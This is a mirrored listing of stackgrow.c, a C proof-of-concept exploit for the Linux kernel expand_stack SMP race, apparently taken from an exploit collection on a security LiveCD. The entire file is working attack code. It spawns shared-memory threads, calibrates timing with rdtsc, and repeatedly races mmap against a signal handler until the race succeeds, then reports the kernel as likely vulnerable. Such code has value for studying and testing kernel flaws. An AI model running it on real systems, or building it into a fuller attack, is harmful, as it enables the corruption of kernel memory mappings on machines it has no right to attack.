home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / stackgrow.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  241 lines

  1.  /*
  2.  * expand_stack SMP race PoC exploit
  3.  *
  4.  * Copyright (C) 2005 Christophe Devine
  5.  *
  6.  * Vulnerability discovered by Paul Starzetz <ihaquer at isec.pl>
  7.  * http://www.isec.pl/vulnerabilities/isec-0022-pagefault.txt
  8.  *
  9.  * This program is free software; you can redistribute it and/or modify
  10.  * it under the terms of the GNU General Public License as published by
  11.  * the Free Software Foundation; either version 2 of the License, or
  12.  * (at your option) any later version.
  13.  *
  14.  * This program is distributed in the hope that it will be useful,
  15.  * but WITHOUT ANY WARRANTY; without even the implied warranty of
  16.  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  17.  * GNU General Public License for more details.
  18.  *
  19.  * You should have received a copy of the GNU General Public License
  20.  * along with this program; if not, write to the Free Software
  21.  * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
  22.  */
  23.  
  24. #include <unistd.h>
  25. #include <signal.h>
  26. #include <string.h>
  27. #include <stdlib.h>
  28. #include <stdio.h>
  29. #include <sched.h>
  30.  
  31. #include <sys/mman.h>
  32. #include <sys/wait.h>
  33. #include <asm/page.h>
  34.  
  35. #define MMAP_BASE (void *) (TARGET_BASE + PAGE_SIZE * 2)
  36. #define TARGET_BASE (void *) 0x60000000
  37. #define STACK1_BASE (void *) 0x01000000
  38. #define STACK2_BASE (void *) 0x02000000
  39. #define MAGIC_TEST 0x18A041DE
  40.  
  41. int pid1, sff;
  42. long long tsc1, tsc2;
  43.  
  44. void child1_sighandler( int signum )
  45. {
  46. int *xs1, i, j;
  47.  
  48. if( signum == SIGUSR1 )
  49. {
  50. for( i = 0; i > sff; i-- ) j = i * i;
  51.  
  52. asm volatile( "rdtsc" : "=A" (tsc1) );
  53. xs1 = TARGET_BASE; *xs1 = MAGIC_TEST;
  54. signal( SIGUSR1, child1_sighandler );
  55. }
  56. }
  57.  
  58. int child1_thread( void *arg )
  59. {
  60. printf( " [+] in thread 1 (pid = %d)\n", getpid() );
  61. signal( SIGUSR1, child1_sighandler );
  62. while( 1 ) sleep( 2 );
  63. return( 0 );
  64. }
  65.  
  66. int test_race_result( void )
  67. {
  68. FILE *f;
  69. int *mtest;
  70. char line[128];
  71.  
  72. unsigned int vma_start_prev;
  73. unsigned int vma_start;
  74. unsigned int vma_end;
  75.  
  76. if( ( f = fopen( "/proc/self/maps", "r" ) ) == NULL )
  77. {
  78. perror( " [-] fopen /proc/self/maps" );
  79. exit( 1 );
  80. }
  81.  
  82. mtest = TARGET_BASE;
  83.  
  84. vma_start_prev = 0;
  85.  
  86. while( fgets( line, sizeof( line ) - 1, f ) != NULL )
  87. {
  88. sscanf( line, "%08x-%08x", &vma_start, &vma_end );
  89.  
  90. if( vma_start == (int) MMAP_BASE - PAGE_SIZE &&
  91. vma_end == (int) MMAP_BASE + PAGE_SIZE &&
  92. vma_start_prev != (int) TARGET_BASE &&
  93. *mtest == MAGIC_TEST )
  94. return( 0 );
  95.  
  96. vma_start_prev = vma_start;
  97. }
  98.  
  99. fclose( f );
  100.  
  101. return( 1 );
  102. }
  103.  
  104. int child2_thread( void *arg )
  105. {
  106. long delta[8];
  107. int *xs2, i, j, fct;
  108.  
  109. usleep( 50000 );
  110. printf( " [+] in thread 2 (pid = %d)\n", getpid() );
  111.  
  112. asm volatile( "rdtsc" : "=A" (tsc1) );
  113. for( i = 0; i < 4096; i++ ) j = i * i;
  114. asm volatile( "rdtsc" : "=A" (tsc2) );
  115. fct = tsc2 - tsc1;
  116.  
  117. printf( " [+] rdtsc calibration: %d\n", fct );
  118.  
  119. for( i = 0; i < 8; i++ )
  120. delta[i] = 0;
  121.  
  122. tsc1 = tsc2 = 0;
  123.  
  124. printf( " [+] exploiting race, wait...\n" );
  125.  
  126. while( 1 )
  127. {
  128. if( mmap( MMAP_BASE, 0x1000, PROT_READ | PROT_WRITE,
  129. MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE |
  130. MAP_GROWSDOWN, 0, 0 ) == (void *) -1 )
  131. {
  132. perror( " [-] mmap target" );
  133. return( 1 );
  134. }
  135.  
  136. j = 0;
  137. for( i = 0; i < 8; i++ )
  138. j += delta[i];
  139. j /= 8;
  140.  
  141. sff += ( 128 * j ) / fct;
  142.  
  143. if( sff < -16384 || sff > 16384 )
  144. sff = 0;
  145.  
  146. for( i = 7; i > 0; i-- )
  147. delta[i] = delta[i - 1];
  148.  
  149. delta[0] = tsc1 - tsc2;
  150.  
  151. kill( pid1, SIGUSR1 );
  152.  
  153. for( i = 0; i < sff; i++ ) j = i * i;
  154.  
  155. asm volatile( "rdtsc" : "=A" (tsc2) );
  156. xs2 = MMAP_BASE - PAGE_SIZE; *xs2 = 0;
  157.  
  158. if( test_race_result() == 0 )
  159. {
  160. usleep( 10000 );
  161.  
  162. if( test_race_result() == 0 )
  163. break;
  164. }
  165.  
  166. munmap( TARGET_BASE, PAGE_SIZE * 3 );
  167. }
  168.  
  169. printf( " [+] race won (shift: %d)\n", sff );
  170.  
  171. return( 0 );
  172. }
  173.  
  174. int main( void )
  175. {
  176. FILE *f;
  177. char line[1024];
  178. int nb_cpu, pid2, s;
  179.  
  180. if( ( f = fopen( "/proc/cpuinfo", "r" ) ) == NULL )
  181. {
  182. perror( " [-] fopen /proc/cpuinfo" );
  183. return( 1 );
  184. }
  185.  
  186. nb_cpu = 0;
  187.  
  188. while( fgets( line, sizeof( line ) - 1, f ) != NULL )
  189. if( memcmp( line, "processor", 9 ) == 0 )
  190. nb_cpu++;
  191.  
  192. fclose( f );
  193.  
  194. if( nb_cpu <= 1 )
  195. {
  196. fprintf( stderr, "This program only works on SMP systems.\n" );
  197. return( 1 );
  198. }
  199.  
  200. printf( "\n" );
  201.  
  202. if( mmap( STACK1_BASE, 0x4000, PROT_READ | PROT_WRITE, MAP_FIXED |
  203. MAP_ANONYMOUS | MAP_PRIVATE | MAP_GROWSDOWN, 0, 0 ) == (void *) -1 )
  204. {
  205. perror( " [-] mmap child1 stack" );
  206. return( 1 );
  207. }
  208.  
  209. if( ( pid1 = clone( child1_thread, STACK1_BASE + 0x4000,
  210. SIGCHLD | CLONE_VM, 0 ) ) == -1 )
  211. {
  212. perror( " [-] clone child1" );
  213. return( 1 );
  214. }
  215.  
  216. if( mmap( STACK2_BASE, 0x4000, PROT_READ | PROT_WRITE, MAP_FIXED |
  217. MAP_ANONYMOUS | MAP_PRIVATE | MAP_GROWSDOWN, 0, 0 ) == (void *) -1 )
  218. {
  219. perror( " [-] mmap child2 stack" );
  220. kill( pid1, SIGKILL );
  221. return( 1 );
  222. }
  223.  
  224. if( ( pid2 = clone( child2_thread, STACK2_BASE + 0x4000,
  225. SIGCHLD | CLONE_VM, 0 ) ) == -1 )
  226. {
  227. perror( " [-] clone child2" );
  228. kill( pid1, SIGKILL );
  229. return( 1 );
  230. }
  231.  
  232. waitpid( pid2, &s, 0 );
  233. kill( pid1, SIGKILL );
  234.  
  235. if( WEXITSTATUS(s) != 0 )
  236. return( 1 );
  237.  
  238. printf( " [+] kernel might be vulnerable.\n\n" );
  239.  
  240. return( 0 );
  241. }